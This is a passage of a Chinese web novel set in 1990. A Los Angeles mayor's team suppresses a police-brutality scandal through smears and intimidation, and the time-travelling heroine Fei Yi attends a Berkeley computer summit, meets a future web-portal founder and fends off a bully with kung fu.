远在华盛顿国会山的威廉·费尔法克斯,次日凌晨就收到了团队发来的简报。他快速扫过布朗团队的通稿,灰色眼眸里闪过一丝锐利。 “想捂住所有人的嘴?果然被阿尔说中了。” 他对着电话那头的幕僚长冷笑一声,“把视频备份寄到ABB,再附上近三年LAPD暴力执法投诉数据、黑人社区的申诉记录。我们不要亲自下场表态,只需把事实摆到全国观众面前。布朗想把事儿摁死在洛杉矶?那我们就帮他闹到全美都知道。” 费尔法克斯家族在媒体圈经营了几十年,人脉渠道早就铺得四通八达。 不到24小时,这段81秒的视频直接冲上了全国电视台黄金档,从西海岸一路扩散至遍全美。 ABC早间新闻循环放片段,请民权领袖、法学专家轮番辩论,舆论一边倒地骂洛杉矶警察滥用暴力。 《洛杉矶时报》紧跟着出了民调,92%的受访观众都觉得警察用了过度暴力,“系统性种族歧视”的骂声铺天盖地。 市长办公室的内线电话此起彼伏地响成一片,吵得人太阳穴突突直跳。 秘书捧着刚打印出来的民调简报快步走进来,她紧张地咽了咽口水,小心翼翼地: “布朗先生,市民投诉热线已经被打爆了,大家都在骂我们和警局沆瀣一气,包庇警察暴力执法。南洛杉矶已经有两千多人往市政厅方向聚集,人数还在涨。您的支持率较昨天下降了5个百分点……” 皮特·布朗听得额头青筋直爆,他愤怒地把手里的文件狠狠掼在办公桌上,咬着后槽牙冷声下令:“通知所有核心人员,20分钟后小会议室开会,一个都不准缺席!” 他刚要迈步往会议室走,办公桌上那部极少响起的私人专线忽然叮铃铃响了起来。 皮特眉头拧成疙瘩,接起电话,那头传来米奇·洛克副手的声音: “布朗市长,洛克先生听说您这边遇上了点麻烦。大家是一条船上的人,他愿意搭把手。旗下的传媒渠道、社区关系,您都可以敞开用。” 皮特眼神暗了暗。他当然清楚洛克的“渠道”是什么路数——都是上不了台面的手段,脏是脏了点,但对付乱局最管用。 他沉默片刻,最终只从喉咙里挤出两个字:“知道了。” 电话挂断的瞬间,他眼底最后一点犹豫也散得干干净净。都到了火烧眉毛的地步,脸面、规矩全是虚的,先把这把火摁下去再说。 次日天刚亮,洛杉矶警局正式启动全套公关预案。 先是以“避免煽动群体对立、干扰司法公正”为由,向各地所有媒体发了公函,勒令全平台下架那段81秒执法视频,禁止循环播放暴力画面。 接着公关团队通过合作的媒体报刊散发艾伦·布鲁的“完整黑料”:年少时的商店偷窃记录、两年前的酒驾缓刑案底,连他八竿子打不着的远房表叔十年前的贩毒记录都被挖了出来。 一些电台更是见缝插针地不断提及“劣迹青年违法在先,且率先袭警”的叙事,一线警员的专访轮番上线,字字句句都在强调执勤风险,把暴力执法包装成了“合理自卫”。 暗地里,洛克集团迅速运作起来。 洛克手里掌控的街头八卦小报和社区调频电台,当天就全马力开动。 不光把艾伦·布鲁的黑料添油加醋印得铺天盖地,还凭空捏造出好几份“路人目击证词”,说得有鼻子有眼,声称亲眼看见艾伦·布鲁先挥拳砸了警员,车里还藏了毒品。 这些小道消息顺着便利店、洗衣房、地下酒吧快速传遍底层社区,真真假假混在一块儿,不少本来义愤填膺的普通人看着听着,心里也慢慢犯了嘀咕。 与此同时,一些小有名气的“圈内人士”也相继发声。 几个常演警匪片的硬汉配角,在上深夜脱口秀时,聊着新戏聊着聊着就“无意”中扯到拍戏经历 : 有的说上个月在南洛杉矶拍外景,剧组的道具箱都被小混混撬了,连备用的道具枪都差点被偷走;还有人说自己深夜收工回家,在停车场差点被人拦了,得亏跑得快。 末了都叹口气,说“这几年治安是越来越差,半大孩子不学好,成群结队在街上晃,警察也难干”。 连本地最火的夜间电台主持人,都在节目里插科打诨吐槽,说南洛杉矶的警察难干,天天跟亡命徒打交道,换自己上去说不定下手更重。 还有几个小有名气的专栏作者,接连发了好几篇“客观”分析,说拒捕袭警的人本就容易失控,警察应激反应下没个轻重,其实也算行业常态。 这些话没一句是替暴力执法辩解的,甚至还装模作样骂两句警察行事粗暴,可话里话外都在传递一个信息:是治安不行、刁民太凶,警察才会反应过度。 轻飘飘几句话,就把“警察无故施暴”的核心矛盾,悄悄扭成了“治安太差所以执法从严”的无奈现实。 普通听众听着觉得有理,不知不觉就被带了节奏,对LAPD的抵触自然淡了几分。 而那些抗议队伍里,最有号召力的几个人,也纷纷遭遇了各种各样的“意外”: 有人深夜回家,发现家门口被扔了死老鼠,门缝里塞着恐吓信,字里行间全是对他老婆孩子的威胁;有人第二天照常去上班,老板突然找了个莫须有的借口把他开了。 有人出门买个菜,却差点被车撞成残废。 大家都不是傻子,明眼人都知道他们遭到报复了,如果再继续抗议下去,谁知道等待他们的会是什么。 于是乎,本来数千人的抗议队伍,没几天就散了一小半。 剩下的人也人心惶惶,游行的时候口号都喊得没那么齐整了。没人想因为出头,把一家子都赔进去。 这套明里暗里的组合拳打下来,洛杉矶的舆论风向肉眼可见地变了。 原本一边倒谴责警察暴力的声音里,渐渐冒出了越来越多对立的论调。 有人振振有词:“他自己就不是什么好人,警察下手重点怎么了?不反抗能挨揍吗?” 有人替警察叫屈:“警察也是人,也会死会受伤,谁知道那人身上有没有枪?” 支持警方的保守派和谴责暴力的民权派吵得不可开交,报纸社论、电台热线、街头巷尾全是争论,整个洛杉矶的舆论直接裂成了两半。 南洛杉矶的小规模游行还在继续,人们举着“停止暴力执法”的牌子走上街头,但始终没形成更大的规模。 66.第66章 就在不少人都以为这件事会慢慢被压下去、最终不了了之的时候,事发整整两周后的当天,洛杉矶县检察院突然宣布,正式以攻击罪、过度使用武力罪,起诉四名涉案警员。(1) 消息一出,原本渐渐平息下去的舆论再次炸了锅。 抗议者奔走相告,无数人自发聚在法院门口欢呼,有人举着“正义没有缺席”的牌子,激动得红了眼眶。 支持警方的保守派却不满了,纷纷痛骂检察院是向舆论低头,根本不讲司法公正,当天就有人组织了声援游行,堵在检察院门口替四名警员叫屈。 市政厅里,皮特·布朗听到秘书的汇报,只是挑了挑眉,脸上没有半分惊讶。 “起诉就起诉吧。”他慢悠悠地喝了口咖啡,冷笑道,“法庭上的事,输赢还不一定呢。去跟我们的人打声招呼,陪审团人选、证人证词,该运作的都运作起来。这点小事,翻不了天。” 他顿了顿,眯起眼睛继续道:“现在的重点,就是尽快转移公众的注意力,大家在这件事上,关注得已经够久了!” “是,我明白了。” 想要转移公众的注意力,其实没那么难。 毕竟新闻天天有新的,今天是暴力执法刷屏,明天就有明星婚变、地产降价、硅谷新公司融资的消息顶上来。 在布朗团队的运作下,报纸头版换着花样出新,检察院起诉的消息热闹了没几天,舆论热度就降了下去。 许多人都认为,既然都走正规司法程序,等法院开庭判完,这事也就算翻篇了。没人能想到,这场审判根本不是终点,反而是那场席卷全城的大风暴的倒计时。 菲伊坐在餐桌边翻晨报,看着原本占了整版的执法新闻,如今缩成了角落里短短两行庭审快讯,轻轻叹了口气。 她比谁都清楚,等那句无罪判决出来,被那些暗箱操作压下去的民意会彻底烧起来,烧得整个洛杉矶天翻地覆。 但那都是几个月后的事了,眼下她有更要紧的事要办——去加州大学伯克利分校。 两天前她收到林砚寄来的特快专递,里面装着一张“第一届全美高校计算机技术峰会”的邀请函。 说起来,当初主动出手救下林砚两人,她确实存了点功利心思,毕竟对方是赌术天赋卓越,是她当时能找到的最适合能力租借的人选。 可经过后来一天的相处,虽然时间不长,但她看得出来,林砚是个简单纯粹的人,待人真诚,骨子里还带着点读书人的执拗侠义。不然也不会明知道会惹麻烦,还当众拆穿那个假赌王。 总而言之,这是个值得交的朋友。 之后两人时不时通电话、写信,聊各自的学业,聊手里在忙的事。她知道林砚和奥利弗这大半年一直在捣鼓一个校园网络项目,11月20号的这场峰会正是他们打响第一枪的最好时机。 前阵子打电话时她随口提了句对互联网方向感兴趣,没想到林砚记在心里,转头就托自己的导师帮忙走流程,硬生生给她这个外校高中生争取到了一张旁听邀请函。 菲伊坐在往伯克利去的灰狗巴士上,目光落在那张印设计简约的邀请函上,心思早已飘远了。 现在才1990年,互联网行业还处在萌芽期,后世那些呼风唤雨的科技大佬,这会儿多半还在大学里泡机房,或是刚凑了点钱开了间巴掌大的初创公司,连名字都没几个人听过。 这种遍地是黄金的窗口期,错过了简直要遭天谴。 要是能在这场峰会上撞见一两个未来的行业巨头,趁早砸钱占个原始股的坑,她那10亿美元的债务压力,就能减轻一大半。 就算碰不上那些传说中的大佬也不亏。 林砚和奥利弗捣鼓的那个项目,她在电话里听了个大概。他们打算做一个基于校园局域网的信息站点,学生能在上面发帖交流、共享课程资料、找同好组队,有点像后世校园BBS论坛的雏形。 来之前,菲伊也做过一番市场调查。 不查不知道,一查吓一跳。原来美国人早在80年代末,就已经出现线上交流社区了。发展到1990年,功能已十分完善,不仅支持分板块的主题讨论区、文件上传下载,还能进行实时聊天、点对点邮件,甚至可以实现联机游戏。 整个行业生态上开始产业化,全美境内拥有数万个BBS站点,大量成熟的BBS建站软件,从技术到运营都有一套成熟的模式。 基于局域网的校园BBS也不罕见。比如杜克大学,早在1979年就有几个学生一起搞出了一个Use,然后很快就在全美高校传播开来,如今已经成为学术圈和高校师生线上交流的主要平台。 这么一看,林砚的那个项目好像没什么特别的,顶多就是在前人的基础上进行一些功能性的优化而已。如果真是这样,他能做的,别人也能做,能有多大的竞争力? 但经过进一步了解后,她才知道,如今的市面上线上论坛,存在很多短板。 比如传统拨号的BBS,说白了就是“电话线上的留言板”,用户先得用调制解调器拨号连上去,连上去后就是在一纯黑屏幕上输入白字,而且必须输命令才能翻页,跟拍电报似的,又麻烦又慢。 又比如那个大学生都在用的Use,听上去很牛,但细节糙的很。如同一个全球露天大贴吧,按话题分板块,全世界的人都能上去发帖,乱得很,啥人都有,广告、垃圾信息满天飞。 但林砚他们做的这个不一样。 它是基于“超文本”做的可视化站点。简单来说,就是一个有页面、有链接的网页版论坛,用户想看课程资料点一下就跳过去,想找组队帖点一下就进板块,不用背命令、不用输代码,鼠标轻轻一点就能用。 而且它是封闭的校园专属社区,只对本校学生开放,能查课表、传资料、找同学组队、看校园公告,就是专门围着大学生的需求做的。 这项目要是搁在21世纪的确平平无奇,可现在是1990年。 那个叫“万维网”的东西,这会儿还在欧洲的实验室里躺着呢,也就是说,世界上第一个网页还没诞生呢! 美国这边,大家还都在啃纯文本的命令行,没人想到还能把网上的信息做成“一页一页能点的页面”。 林砚这个项目若是真成了,其价值可想而知! 说白了,菲伊现在进场就是捡原始股的便宜。 林砚和奥利弗捣鼓了这个项目大半年了,缺钱缺人缺资源,后来去阿拉斯加赢了20万美金,有了这笔及时雨,这才勉强将项目收尾,赶在峰会前做出一个雏形。 菲伊如果投个哪怕几万块,都能占不小的股份。 但这些都是她从林砚那里听来的,这个项目他们具体做成了什么样,技术落地到什么程度,未来能不能商业化,光靠口头描述弄不清楚。必须得亲眼看看、摸摸底,心里才有数。 菲伊正胡乱想着,大巴不知不觉间,已驶进伯克利市。 夕阳已经擦着红杉树顶往下沉了,菲伊拎着简单的旅行包下车。 她不想麻烦别人,也怕打扰林砚他们,所以没让他们来接,自己找了家UC伯克利分校附近的家庭式旅馆住下,旅店房间不大,但胜在干净,前台摆着几盆多肉,老板是个留着大胡子的本地人,说话慢悠悠的。 放下行李,她拨通了林砚的电话。 电话那头背景音乱糟糟的,听得见奥利弗扯着嗓子喊调试设备,林砚的语气也带着点急:“你到了?我现在过去找你吧,顺便带你吃点东西。” “不用不用,你们忙你们的。”菲伊笑着回绝,“明天峰会就开场了,你们肯定有很多事要忙,别为我分心。我自己随便吃点就行,明天早上直接去会场找你们,又不是找不到路。” 林砚拗不过她,又叮嘱了两句附近哪些餐馆靠谱、晚上锁好门,才匆匆挂了电话。 菲伊站在窗边往下看,街道上三三两两走过背着书包的学生,晚风带着点草木的凉味,比起洛杉矶的喧嚣,这里多了股象牙塔里的宁静和平和。 次日凌晨五点,天还浸在深灰里,菲伊就准时醒了。 一如既往地穿上沙衫、绑好沙袋,然后轻手轻脚出了旅店大门。 凌晨的街道空无一人,只有路灯亮着暖黄的光,她顺着林荫道往前跑,呼吸平稳,步伐轻盈,二十公里跑下来,等拐进市民公园的时候,额角只出了层薄汗,气息都没怎么乱,搁一个月前,她跑不到一半就得喘得不行。 显然这段日子的汗水没白留,回去可以让袁老师提高训练强度了。 公园里雾气还没散,草木香裹着晨露的湿气扑面而来。 菲伊找了块平整的空地,先站了一刻钟的四平马,气沉丹田,浑身筋骨慢慢抻开。接着是指力训练,三组撑下来,掌心微微发热,却不再像最开始那样发麻发抖。 做完这些后,她扎稳马步,一套少林罗汉拳稳稳打出,起势沉、出拳快,劈砸格挡都带着风声,一招一式熟得仿佛刻进骨子里,收势的时候气归丹田,大气都没喘一口。 正低头擦了擦额角的汗,身后忽然传来一句字正腔圆的普通话,带着点试探的惊喜:“你也是华人吗?” 67.第67章 菲伊闻言回头。 只见晨雾里站着个亚洲面孔的男青年,看着二十出头,身形清瘦,穿一身灰蓝色运动服,额头上带着薄汗,显然也是来晨练的。 他鼻梁上架着副细框眼镜,双眼亮晶晶地看着她,脸上是藏不住的他乡遇同胞的欣喜。 “我是。”菲伊点点头,语气平和,“刚在这边晨练,没打扰到你吧?” “没有没有!”男青年赶紧摆手,笑着走过来,普通话说的很标准,只是久在国外,语速稍慢些,“我就是跑着步,忽然看见有人打拳,招式看着像华国功夫,一下子就愣住了。来美国快四年了,还是头一回在公园撞见同胞练这个。” 他说着伸出手,落落大方:“我叫杨嘉言,斯坦福的研究生,过来参加明天的计算机峰会。你呢?是这里的留学生吗?” 菲伊伸手回握,笑着回道:“我叫菲伊?温斯洛,不是留学生,也是来参会的,托朋友弄了张邀请函,过来开开眼界。” “啊!你也是来参加峰会的,真是巧了!”杨嘉言上下打量她一眼,有点惊讶,“看着你年纪不大,还在上高中?” “嗯,十一年级。”菲伊也不瞒,坦然道,“对计算机挺感兴趣的,就过来凑凑热闹。” “厉害啊,高中生就关注这个了。”杨嘉言赞叹道,“我像你这么大的时候,还没接触计算机呢。对了,刚才看你那拳打得行云流水,很专业的样子,你练过?” “小时候学过一阵子,现在找了个师父正经练。”菲伊随口带过,顺着话头往峰会上引,“你来参加峰会,是带了自己的项目?” “算是吧,我和室友捣鼓了个小玩意儿,来试试水。”杨嘉言挠挠头,不好意思地笑了笑。 “那我能知道具体是什么内容吗?”菲伊问。 “当然没问题!” 说起自己的项目,杨嘉言就没那么拘束了,开始滔滔不绝。 “现在学校里的FTP站点、Gopher站点太多了,各个系、各个实验室都自己搭服务器,存论文、存软件、存数据集,地址散得一塌糊涂。想找份资料,要么靠师兄师姐传地址,要么瞎猫碰死耗子挨个试,太费功夫了。” “所以我们就想着做个分类目录,把全美学界公开的站点都收进来,按学科、按资源类型分好类,编上检索号。用户输个关键词就能查到对应地址,直接跳转过去,能省不少事。” “听上去很不错!”菲伊下意识地赞道。话刚说完,她猛然间觉得哪里不对。 这个项目怎么听着有些耳熟? 等等,杨嘉言这个名字,也有点耳熟。 斯坦福、华人研究生、和室友合伙做学术目录起家……几个关键词串在一起,让她想到了一个人。 前世九十年代横空出世的那家门户型网站“雅福”,创始人不就是这个名字 ? 她没记错的话,对方最早就是在宿舍里整理学术资源目录起家,等后来万维网普及,顺势改成了网站导航,一步步做成了全球互联网巨头。 名字读音、出身学校、创业起点,居然全对上了。 她忍不住又悄悄打量了对方两眼。 清瘦、腼腆、细框眼镜,说实话,她已经记不得那位后世的大佬年轻时的样子了,而眼前这人看着就是个埋头写代码的技术宅,怎么看都不像日后能搅动互联网格局的大佬。 可细节越对越吻合。 “你研究生专业学的是?” “电机工程。” “本科也是同专业?” “对啊。” 又对上了! 菲伊咽了咽口水,竭力压下心里涌起的惊涛骇浪。 天老爷,她这回终于时来运转了吗? 早上起来跑个步,都能遇到未来的雅福之父! 菲伊此刻的心情别提多激动了,但面上却半点没露,语气自然地顺着话往下问:“你们的项目今天会展出吗?我一会儿过去看看。” “有的,就在学生项目展区最靠里面的位置。”杨嘉言笑得爽朗,“到时我给你亲手演示一遍。对了,你住哪家酒店?等会儿要不要一起走?我去年来过伯克利一趟,对他们的校园比较熟。” “好啊,那待会儿就麻烦你带路了。”菲伊笑着应下。 68.第68章 两人说话间,晨雾已顺着树梢慢慢散去,淡金色的阳光穿透云层,洒向大地,将这座美丽的小城从沉睡中唤醒。 和杨嘉言在公园路口分开后,菲伊慢悠悠走回酒店。 简单梳洗一番后,她挑了条垂感柔和的驼色针织长裙,外搭一件深棕格纹西装外套,头发简单扎成低马尾。整个装扮既不会在一众西装革履的参会者里显得太稚嫩,也不至于过分张扬。 差不多到约定的八点,她揣好邀请函往伯克利校门走。老远就看见杨嘉言站在门口的老橡树下,一只手拎着厚厚一沓打印纸和硬纸板物料,另一只手提着个一次性餐盒,看见她过来就抬手挥了挥。 “等久了吧?”菲伊快步走过去。 “没,我也刚到。”杨嘉言把餐盒递过来,纸盒带着温温的热度,“我住的酒店旁边有家华人早餐铺,昨天尝了口挺正宗的,想着你大概率没顾上吃早饭,就顺手带了一份,你凑合垫垫。” 菲伊鼻尖先钻进一股鲜润的肉香,混着淡淡的黄豆香气,她眼睛“唰”地就亮了,连忙伸手接过来。 指尖触到温热的纸盒,她迫不及待掀开盒盖一角,白蒙蒙的热气裹着鲜香涌出来。 只见八个小笼包整整齐齐挤在盒里,皮薄得透亮,隐隐透着汤汁的浅褐色,旁边一杯热豆浆封得严实,杯壁凝着薄薄的水雾。 “居然是小笼包和豆浆!” 菲伊的眼睛唰地亮了,抬头看向杨嘉言,惊喜都快从眼里溢出来。 “天啊,我好久没吃到过正宗的华国早餐了,亏你还能找到这么地道的店,真的太谢谢了!别的我还能客气两句,这个我可就真不跟你见外了哈。” 她捧着餐盒舍不得马上吃,又盖好盖子收进随身的包里,眉眼间还带着没散去的雀跃。 两人并肩往校园里走。时间还早,路上学生不多,偶尔碰见几个抱着厚重专业书的理工生,脚步匆匆往机房赶,空气里飘着淡淡的咖啡香和草木气。沿路都是浅棕色砖石建筑,带着老式学院的厚重感,和洛杉矶的浮华热闹完全是两个世界。 走了十来分钟,泽勒巴赫大厅就出现在眼前。 门口摆着长条签到台,几个穿卫衣的学生志愿者正忙前忙后,已经有零星参会者在排队核对信息。 两人递上邀请函,志愿者很快递来塑封胸牌、厚厚的会议手册,还有两张印着峰会logo的纸质投票券。 “所有参展项目都在一楼展厅,参观完可以把票投给你喜欢的项目,下午六点准时封箱。”志愿者笑着提醒。 菲伊把投票券夹进手册里,跟着杨嘉言往展厅走。 大厅挑高很高,穹顶垂着老式吊灯,一排排展位顺着过道铺开,不少团队正蹲在地上接线、调试设备。 杨嘉言他们的展位果然够偏,在展厅最靠里的角落,紧挨着消防通道,不走到头根本注意不到。展位就一张长条桌,摆着台笨重的电脑,旁边摞着一沓打印好的资源目录册,看着简陋又冷清。 桌子后面已经站了个金发男生,正在整理资料,听见动静抬头看过来,眼睛“唰”地亮了,双掌一拍,对着菲伊道: “哇哦,让我猜猜~你就是杨早上电话里说的功夫少女吧?” “功夫少女?”菲伊挑挑眉,好笑道,“应该是我没错了。” “你好,我是大卫·洛,杨的室友兼合伙人!”男生个子很高,笑起来露出两颗虎牙,十分自来熟地朝菲伊伸手。 菲伊伸手回握,眉眼弯弯道:“我叫菲伊·温斯洛。听嘉言说你们的项目很有意思,所以过来看看。” “那必须有意思!” 大卫一拍大腿,立刻来劲了,也不管菲伊只是个高中生能不能听懂,拉着她就凑到电脑前,噼里啪啦对着键盘敲了一通,然后指着屏幕对她说: “我跟你说,我们这套是分布式学术资源索引系统,基于Gopher协议做了二次检索优化,目前整合了全美一百二十多所高校的公开FTP站点,支持关键词模糊匹配,还能按访问热度自动排序,比你一个个Tel连过去找效率高十倍都不止……” 他语速飞快,嘴里蹦出一串专业术语,什么递归目录爬取、节点同步延迟 、Archie协议兼容,听得菲伊一脸懵逼。 旁边杨嘉言见状赶紧笑着打圆场,用大白话解释道: “他讲太绕了。简单说就是,现在大家找论文、找软件,得死记服务器地址,手动连上去搜,特别麻烦。 我们把这些公开的服务器地址全收集起来,按学科分好类,你输入关键词,它直接告诉你哪个站点有你要的东西,还能一键跳转,省了不少功夫。” “对对对,就是这个意思!”大卫挠挠头,嘿嘿笑了两声,“我一讲技术就收不住,忘了你不是学这个的。” 菲伊笑着点点头,表示理解。随后将目光投在屏幕上跳动的字符界面上。 简陋是真的简陋,没有任何设计和花活,纯文本界面,通过输入指令进行操作。 和后世五花八门的门户网站差了十万八千里。 可内核的逻辑是一致的:通过整合零散的信息和资源,做分类索引,帮用户高效定位信息。 这就是后世雅福的起点,是整个门户网站时代的雏形。 斯坦福、90年代初、华人学生加白人室友、学术资源目录……所有细节都和她记忆里的创业故事严丝合缝。 她心里最后一点疑虑终于落了地。 眼前这个看似普通的华人留学生,就是未来一手缔造雅福帝国的那个人。 现在的他还只是个穷学生,项目窝在展厅最偏的角落,无人问津,没人能想到,几年后他们的灵光一闪,会开启怎样一个互联网新时代。 “我觉得这个想法特别实用。”菲伊认真道,“就好比以前找资料如同大海捞针,有了这个工具就可以一下子精准定位了,对不对?” “没错!你这个比喻太到位了!”大卫更激动了了,“可惜现在知道的人太少,也就我们系里同学在用,所以想借这次峰会来宣传宣传,如果能捞到一个奖项就更好了,嘿嘿。” 他才说完,旁边忽然飘来一声嗤笑,带着毫不掩饰的讥讽:“呵,居然还肖想获奖?我看你们是半点自知之明都没有,真觉得自己那破玩意儿能上台面?” 69.第69章 几人转头看去,只见三个男生慢悠悠晃过来。领头的穿一身藏青色休闲西装,头发梳得油亮,脸上挂着居高临下的笑。 “凯文·杰弗里。”杨嘉言的神情一下冷下来,“我们展我们的,没碍着你吧?” 杰弗里也是斯坦福电机工程专业的,和杨嘉言原本是本科同学。当年两人同期入学,杨嘉言一路跳级,四年就读完本硕,眼看着明年五月就能毕业,他却还在大四熬着,连毕业都要靠家里打点,心里早就憋着一股无名火,一见到杨嘉言就忍不住找碴。 “这么偏的位置……”凯文斜眼扫过他们简陋的展位,轻蔑地笑道,“确实碍不着我,只是听到某些人大放厥词,觉得好笑。” “你说谁呢?!”大卫怒,撸起袖子往前跨了一步。他早看这小子不顺眼了,没什么本事,嫉妒心比谁都强,仗着自己姑姑是系里教授,天天斜眼看人。 杨嘉言伸手拦住他,低声道:“大卫,别冲动。” “怎么?我还没指名道姓,你就急着对号入座了?” 凯文随意捏起一张桌上的宣传单,扫了眼,又扔回去,“切,费半天劲整理什么FTP地址目录,谁耐烦用这玩意儿?纯纯浪费时间。有这功夫,不如找个靠谱的项目抱大腿,总比在这做些没人要的无用功强。” “抱大腿?”杨嘉言气笑了,“你是说像你一样,靠关系硬挤进别人的项目里?” 大卫在旁边差点笑出声,嘿,还得是杨,知道怎么戳这猪头的肺管子! 系里面谁不知道这货的底?先是靠家里捐钱进的斯坦福,后来又靠着姑姑的关系,硬塞进了一个由博士生牵头的电子表格开发项目。 那项目是本届峰会公认的夺冠热门,听说早就和微软搭上了线,大概率会被整体收购,组里的人跟着既能拿奖金又能混大厂履历,这家伙纯纯是过去捡漏镀金的。 果然,凯文一听这话,顿时急了:“你TM放屁!老子凭自己实力进组的!”然后扭头指着身侧两个同伴说,梗着脖子道,“他们和我一个项目组的,可以作证!” 这边争执声越来越大,惹得不少参会者侧目,没一会儿就围了小半圈人,窃窃私语声此起彼伏。 跟凯文同来的两个男生脸色有些挂不住了。他俩本来就是陪凯文过来晃一圈,以为他顶多嘴碎两句就走,没料到事情越闹越大,真闹到项目负责人耳朵里,谁都没好果子吃。 两人连忙一左一右扯住凯文的胳膊,压低声音劝:“凯文,算了算了,回去吧,展台那边还有很多活儿没干,正事要紧。” 凯文本来就被戳了痛处,一肚子火没处发,回头见自己人非但不帮腔,反倒劝他息事宁人,再一听周围人群,已经小声议论起来了: “不会真是靠关系进的项目吧?” “看他同伴都不帮他说话,多半是真的。” “难怪成天踩别人,原来是自己没真本事。” 这些话像巴掌似的扇在脸上,他脑子“嗡”的一下,气血直冲头顶,彻底失了理智。 他猛地挣开同伴的手,抬脚狠狠踹在折叠桌的前腿上。 主办方配的展台桌是折叠的,本就单薄,全靠卡扣撑着受力,被他这一踹,桌上的宣传册、项目资料顿时哗啦啦撒了一地。 由于桌面的东西少了大半,桌身很快失去重心 ,朝摆放着电脑显示器的一侧歪过去,显示器连着底座滑出桌沿,眼看着就要砸在地上。 “不!” “天啊!” 杨嘉言和大卫同时惊呼,魂都吓飞了。 那里面存着他们全部的程序代码、索引数据库,还有熬了好几个通宵改出来的演示版本,真摔坏了,别说参展,回去重写都得耗上两三个月,这趟峰会直接白来。 两人想都没想就往前扑,可距离差了半步,根本赶不上。 一道身影比他们更快! 但见菲伊脚下错步,身形一晃就到了桌旁,左腿快得只剩道残影,精准垫在歪斜的桌腿下方,轻轻一挑就把晃荡的桌身送回了原位。 几乎同时,她右手探出,稳稳托住下滑的显示器底座,手腕微沉卸了力道,那台笨重的大家伙就安安稳稳落回了桌面,连屏幕上跳动的字符都没晃一下。 整套动作兔起鹘落,快得让人看不清细节。围观的人先是屏息,紧接着爆发出一阵叫好声。 “我去!好利落的身手!” “这反应速度也太快了吧!” “看着瘦瘦小小的,居然轻易就接住了笨重的显示器。” 杨嘉言悬到嗓子眼的心慢慢落了回去,后背都惊出了一层冷汗,看着菲伊的眼神里满是后怕和感激:“菲伊,太谢谢你了……这要是摔了,我们俩真得白忙活大半年。” 大卫也拍着胸口直喘气,冲她竖大拇指:“姐妹,你这功夫真不是盖的!救命之恩啊!” 菲伊朝两人笑了笑,余光瞥见正被两个同伴扯着胳膊、想趁乱溜之大吉的凯文,笑容一收,冷声道:“站住!” 70.第70章 凯文脚步一顿,梗着脖子回头,脸涨得通红:“干什么?” “把撒在地上的资料捡起来,整理好放回桌上。”菲伊正色道,“然后,给杨和大卫道歉。” “道歉?做梦!”凯文又恼又窘,“不就是几张破纸吗?老子大不了赔钱就是了!轮得到你多管闲事?” 菲伊抬眼扫他,眉梢微挑:“OK,不捡也不道歉是吧?” 随即抬高声音,朝围观的人群喊了一声,“麻烦哪位朋友帮个忙,去叫一下主办方的工作人员,就说有人故意损毁参展设备、寻衅滋事,请他们过来评评理。” 人群里立刻有人应了声“我去叫”,当即就有脚步声往会场入口方向走去。 凯文一下子慌了。 杰夫那家伙早就想踢他出项目了,这事真闹到主办方那里,不就正好把刀递到他面前? 想到这儿,他再也顾不上脸面,一把推开身边的同伴,三步并作两步冲过去想拦人,谁料才迈出两步,就被菲伊堵住了去路。 “让开!”凯文又急又怒,看着面前比自己矮一个头的少女,一股子邪火直冲头顶,“别给脸不要脸!” 多怪这个女人多管闲事!他攥紧拳头,照着菲伊的脸就挥去。 周围顿时响起一片惊呼。凯文一米八几的个子,胳膊上还带着点肌肉,而菲伊堪堪才到他的肩膀,这一拳若真的砸在脸上,怕是要糟! 杨嘉言和大卫脸色骤变,齐声喊着“小心”,想冲过去拉人,可菲伊和凯文离得太近了,他们根本来不及。 众人不知道的是,此刻在菲伊眼里,凯文的这一拳全是破绽。 这段日子的功夫不是白练的,就算不借助系统的能力,躲过这一拳,对她而言并非难事。 眼看拳风已到鼻尖,菲伊神色不变,只沉肩侧身,颈间微拧,整张脸顺着拳势轻轻一偏,那拳头便擦着耳际扫了过去,连鬓角的碎发都没碰到半根。 没等凯文收拳,她右手已如灵蛇出洞,翻腕叼住他的腕脉,指尖精准扣住阳池穴,骤然发力。凯文顿觉半边胳膊瞬间麻软,像过了道电流,拳上力道登时泄了个干净。 说时迟那时快,菲伊左拳快速挥出,“啪啪啪”三下,分毫不差地打在对方腹部三处要穴上。 这三下看着力道不重,没什么声势,可凯文的脸却“唰”地白了,五官皱成一团。一股钻心的绞痛从腹间炸开,像有无数根细针在往里扎,疼得他连气都喘不匀。 “呃——” 他闷哼一声,双手死死捂住肚子,踉跄着后退了几步,要不是他那两个同伴见状不妙,慌忙上前扶住他,他恐怕就得当场跪在地上。 周围鸦雀无声,所有人都看傻了。谁也没料到,这么个看着文静的小姑娘,三两下就把个一米八的大男人打退了,而且看着都没怎么使劲,怎么人就疼成了这副模样? “你没事吧?” “凯文,你还好吗?” 两个同伴被凯文这反应吓了一跳,连声追问。 凯文弓着身子,疼得冷汗直冒:“医生……快、快叫医生,我肚子好痛!” 恰在此时,几名工作人员顺着人群挤进来。 领头的是个穿着西装的中年男人,眉头紧锁,扫了眼弯腰捂肚子的凯文,又落向站在一旁神色平静的菲伊,沉声道:“怎么回事?有人动手了?峰会展厅严禁肢体冲突!” 凯文一听这话,像是抓住了救命稻草,忍着疼直起腰,指着菲伊和杨嘉言就喊:“是他们!这几个人是一伙的。这女的动手把我打成重伤!我要求立刻把他们逐出会场,还要他们全额赔偿医药费 !” 他疼得声音发颤,语气却恶狠狠的,硬生生摆出一副受害者的姿态,“我就是路过随口说了两句,他们就怀恨在心,暗下黑手。” “你简直颠倒黑白!” 大卫当场就炸了,指着地上散落得满地都是的宣传资料,还有桌腿上清晰的鞋印。 “是你自己寻衅挑事在先,不仅恶语相向,还踹我们展桌,资料撒了一地,连电脑都差点摔坏! 我们本来只让你把东西捡起来、道个歉就完事,是你自己要跑,还先挥拳头打人!菲伊那是正当防卫!” 杨嘉言也上前一步,脸色冷峻:“先生,地上的资料、桌腿的踹痕都是物证,在场这么多位参会者都亲眼看见了。是他率先损毁我们的参展物品,又动手伤人,我们这位朋友全程只是自保。” 话音刚落,周围的围观者就七嘴八舌地附和起来,声音此起彼伏: “我作证!就是这男的先过来找茬的,话说的很难听!” “没错,他先踹的桌子,电脑都快掉地上了,还是人家小姑娘伸手接住的。” “绝对是他先挥的拳头。人家姑娘躲不开才还手的,完完全全正当防卫!” 众人你一言我一语,全是指证凯文挑事的,没有半个人站在他那边。 工作人员皱眉看了眼凯文,又扭头看向菲伊。 后者微微低下头,指尖轻轻捏着衬衫衣角,看上去有点无措,声音也软乎乎的,带着点受惊后的委屈: 